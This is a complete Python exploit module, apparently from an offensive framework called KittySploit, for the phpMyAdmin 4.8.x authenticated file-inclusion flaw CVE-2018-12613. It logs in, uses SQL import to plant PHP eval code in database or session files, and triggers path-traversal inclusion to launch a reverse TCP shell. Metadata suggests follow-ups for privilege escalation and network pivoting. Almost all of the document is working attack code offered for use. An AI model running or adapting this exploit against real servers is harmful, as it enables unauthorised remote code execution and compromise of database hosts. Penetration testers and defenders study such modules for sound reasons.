phpMyAdmin Authenticated Remote Code Execution (CVE-2018-12613)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""phpMyAdmin 4.8.0/4.8.1 authenticated LFI to RCE — CVE-2018-12613.

Post-authentication local file inclusion in phpMyAdmin 4.8.x can be chained
with SQL ``IMPORT`` to plant PHP in MySQL data files or PHP session files, then
include them via the ``target`` parameter on ``index.php``.
"""

import base64
import html
import random
import re
from typing import List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login

_PMA_VERSION_RE = re.compile(r'PMA_VERSION:"(\d+\.\d+\.\d+)"')
_TOKEN_RE = re.compile(r'token"\s*value="(.*?)"')
_DATADIR_RE = re.compile(r"<td data[^>]*>([^<]+)</td>", re.IGNORECASE)
_SESSION_RE = re.compile(r"phpMyAdmin=([^;]+)")


class Module(Exploit, Http_client, Http_login):

    __info__ = {
        "name": "phpMyAdmin Authenticated Remote Code Execution (CVE-2018-12613)",
        "description": (
            "phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, "
            "which can be exploited post-authentication to execute PHP code by "
            "application. Tested against phpMyAdmin v4.8.1."
        ),
        "author": [
            "ChaMd5",
            "Henry Huang",
            "Jacob Robles",
            "KittySploit Team"],
        "cve": ["CVE-2018-12613"],
        "arch": [Arch.PHP],
        "platform": Platform.PHP,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.SINGLE,
        },
        "references": [
            "https://www.phpmyadmin.net/security/PMASA-2018-4/",
            "https://www.secpulse.com/archives/72817.html",
            "https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/",
            "https://nvd.nist.gov/vuln/detail/CVE-2018-12613"],
        "tags": [
            "phpmyadmin",
            "authenticated",
            "lfi",
            "rce",
            "cve-2018-12613",
            "mysql"],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["phpmyadmin"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": True,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {"phpmyadmin": 0.4},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/phpmyadmin", "/pma"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""}],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute"],
            },
        },
    }

    path = OptString(
        "/phpmyadmin/",
        "Base phpMyAdmin directory path",
        required=False,
    )
    username = OptString("root", "Username to authenticate with", required=True)
    password = OptString("", "Password to authenticate with", required=False)
    os_target = OptChoice(
        "automatic",
        "Target OS (automatic uses the HTTP Server header)",
        required=False,
        choices=["automatic", "windows", "linux"],
    )

    def _base_uri(self) -> str:
        base = str(self.path or "/phpmyadmin/").strip() or "/phpmyadmin/"
        if not base.startswith("/"):
            base = f"/{base}"
        if not base.endswith("/"):
            base += "/"
        return base

    def _join_uri(self, *parts: str) -> str:
        base = self._base_uri().rstrip("/")
        for part in parts:
            segment = str(part or "").lstrip("/")
            if segment:
                base = f"{base}/{segment}"
        return base

    @staticmethod
    def _parse_version(version: str) -> Tuple[int, ...]:
        tokens = []
        for piece in str(version or "").split("."):
            digits = "".join(ch for ch in piece if ch.isdigit())
            tokens.append(int(digits) if digits else 0)
        while len(tokens) < 3:
            tokens.append(0)
        return tuple(tokens[:3])

    def _version_is_vulnerable(self, version: str) -> bool:
        parsed = self._parse_version(version)
        return parsed in ((4, 8, 0), (4, 8, 1))

    def _extract_token(self, body: str) -> Optional[str]:
        if not body:
            return None
        match = _TOKEN_RE.search(body)
        if not match:
            return None
        return html.unescape(match.group(1))

    def _cookie_header(self, response) -> str:
        if response is None:
            return ""
        jar = getattr(response, "cookies", None)
        if not jar:
            return ""
        return "; ".join(f"{name}={value}" for name, value in jar.get_dict().items())

    def _tail_cookies(self, cookie_header: str, start: int = -2) -> str:
        parts = [part.strip() for part in str(cookie_header or "").split(";") if part.strip()]
        if not parts:
            return ""
        if start < 0:
            sliced = parts[start:]
        else:
            sliced = parts[start:]
        return "; ".join(sliced)

    def _detect_os(self, response) -> str:
        forced = str(self.os_target or "automatic").strip().lower()
        if forced == "windows":
            return "Windows"
        if forced == "linux":
            return "Linux"
        server = ""
        if response is not None:
            server = str(response.headers.get("Server", "") or "")
        if re.search(r"Win", server, re.IGNORECASE):
            return "Windows"
        return "Linux"

    def _php_payload_b64(self) -> str:
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        payload = str(payload or "").strip()
        if not payload:
            return ""
        return base64.b64encode(payload.encode()).decode()

    def _query(self, sql: str, cookies: str, token: str):
        fields = {
            "sql_query": sql,
            "db": "",
            "table": "",
            "token": token,
        }
        items = list(fields.items())
        random.shuffle(items)
        return self.http_request(
            method="POST",
            path=self._join_uri("import.php"),
            data=dict(items),
            headers={"Cookie": cookies},
            allow_redirects=True,
        )

    def _lfi(self, data_path: str, cookies: str):
        traversal = "/.." * 16
        target = f"db_sql.php%253f{traversal}{data_path}"
        return self.http_request(
            method="GET",
            path=f"{self._join_uri('index.php')}?target={target}",
            headers={"Cookie": cookies},
            allow_redirects=True,
        )

    def _authenticate(self) -> Tuple[Optional[str], Optional[str], Optional[str]]:
        print_status("Grabbing CSRF token...")
        response = self.http_request(method="GET", path=self._base_uri())
        if response is None:
            print_error("Failed to retrieve phpMyAdmin landing page")
            return None, None, None

        token = self._extract_token(response.text or "")
        if not token:
            print_error("Could not find CSRF token — is TARGETURI/path correct?")
            return None, None, None

        os_name = self._detect_os(response)
        print_status(f"Identified {os_name} target")

        cookies = self._tail_cookies(self._cookie_header(response), start=-2)
        print_status(f"Retrieved token {token}")
        print_status(f"Retrieved cookies {cookies or '(none)'}")
        print_status("Authenticating...")

        login = self.http_request(
            method="POST",
            path=self._join_uri("index.php"),
            data={
                "token": token,
                "pma_username": str(self.username or ""),
                "pma_password": str(self.password or ""),
            },
            headers={"Cookie": cookies} if cookies else None,
            allow_redirects=False,
        )
        if login is None or login.status_code != 302:
            print_error("Login request did not return HTTP 302")
            return None, None, None

        cookies = self._tail_cookies(self._cookie_header(login), start=1)
        print_status(f"Retrieved cookies {cookies or '(none)'}")

        login_check = self.http_request(
            method="GET",
            path=f"{self._join_uri('index.php')}?token={token}",
            headers={"Cookie": cookies} if cookies else None,
        )
        if login_check is None:
            print_error("Failed to verify authenticated session")
            return None, None, None

        body = login_check.text or ""
        if "Welcome to" in body:
            print_error("Authentication failed — invalid credentials")
            return None, None, None

        token = self._extract_token(body)
        if not token:
            print_error("Could not refresh CSRF token after login")
            return None, None, None

        print_success("Authentication successful")
        return token, cookies, os_name

    def _datadir_paths(self, os_name: str, datadir: str, database: str, table: str, cookies: str) -> List[str]:
        paths: List[str] = []
        if os_name == "Windows":
            tmp_path = datadir.replace("\\", "/")
            tmp_path = re.sub(r"^.*?/", "/", tmp_path)
            paths.append(f"{tmp_path}{database}/{table}.frm")
            return paths

        match = _SESSION_RE.search(cookies or "")
        if match:
            session_name = match.group(1)
            paths.append(f"/var/lib/php/sessions/sess_{session_name}")
            paths.append(f"/var/lib/php5/sess_{session_name}")
        return paths

    def check(self):
        try:
            response = self.http_request(method="GET", path=self._base_uri())
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Could not connect to target: {exc}",
                "confidence": "low",
            }

        if response is None or response.status_code != 200:
            return {
                "vulnerable": False,
                "reason": "Could not query phpMyAdmin base path",
                "confidence": "low",
            }

        match = _PMA_VERSION_RE.search(response.text or "")
        if not match:
            return {
                "vulnerable": False,
                "reason": "phpMyAdmin version string not found",
                "confidence": "low",
            }

        version = match.group(1)
        print_status(f"phpMyAdmin version: {version}")
        if self._version_is_vulnerable(version):
            return {
                "vulnerable": True,
                "reason": f"phpMyAdmin {version} is vulnerable to CVE-2018-12613",
                "confidence": "high",
            }

        return {
            "vulnerable": False,
            "reason": f"phpMyAdmin {version} is not in the affected 4.8.0/4.8.1 range",
            "confidence": "high",
        }

    def run(self):
        uri = self._base_uri()
        print_status(f"CVE-2018-12613 — phpMyAdmin authenticated LFI to RCE")
        print_status(f"Target: {self.target}:{self.port}  base={uri}")

        check = self.check()
        if not check.get("vulnerable"):
            print_error(check.get("reason", "Target does not appear vulnerable"))
            self.not_vulnerable()
            return False

        print_success(check.get("reason", "Target appears vulnerable"))

        payload_b64 = self._php_payload_b64()
        if not payload_b64:
            print_error("No payload generated — configure payload and lhost/lport")
            return False

        token, cookies, os_name = self._authenticate()
        if not token or cookies is None or not os_name:
            self.not_vulnerable()
            return False

        database = self.random_text(5).lower()
        table = self.random_text(5).lower()
        column = self.random_text(5).lower()
        col_val = f"'<?php eval(base64_decode(\"{payload_b64}\")); ?>'"

        dbsql = f"CREATE DATABASE {database};"
        tablesql = f"CREATE TABLE {database}.{table}({column} varchar(4096) DEFAULT {col_val});"
        dropsql = f"DROP DATABASE {database};"
        dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'

        print_status(f"Creating database {database}...")
        response = self._query(dbsql, cookies, token)
        if response is None or response.status_code != 200:
            print_error("Failed to create database")
            return False

        print_status(f"Creating table {database}.{table} with embedded PHP...")
        response = self._query(tablesql, cookies, token)
        if response is None or response.status_code != 200:
            print_error("Failed to create table")
            return False

        print_status("Resolving MySQL datadir...")
        response = self._query(dirsql, cookies, token)
        if response is None or response.status_code != 200:
            print_error("Failed to query datadir")
            return False

        datadir_match = _DATADIR_RE.search(response.text or "")
        if not datadir_match:
            print_error("Failed to parse datadir from SQL response")
            return False

        datadir = datadir_match.group(1).strip()
        paths = self._datadir_paths(os_name, datadir, database, table, cookies)
        if not paths:
            print_error("Could not derive LFI include path for this target")
            return False

        for data_path in paths:
            print_status(f"Triggering LFI include: {data_path}")
            self._lfi(data_path, cookies)

        response = self._query(dropsql, cookies, token)
        if response is None or response.status_code != 200:
            print_warning(
                f"Failed to drop database {database} — it may be removed when the session closes"
            )

        self.vulnerable()
        print_success("Exploit chain completed — check handler for session")
        return True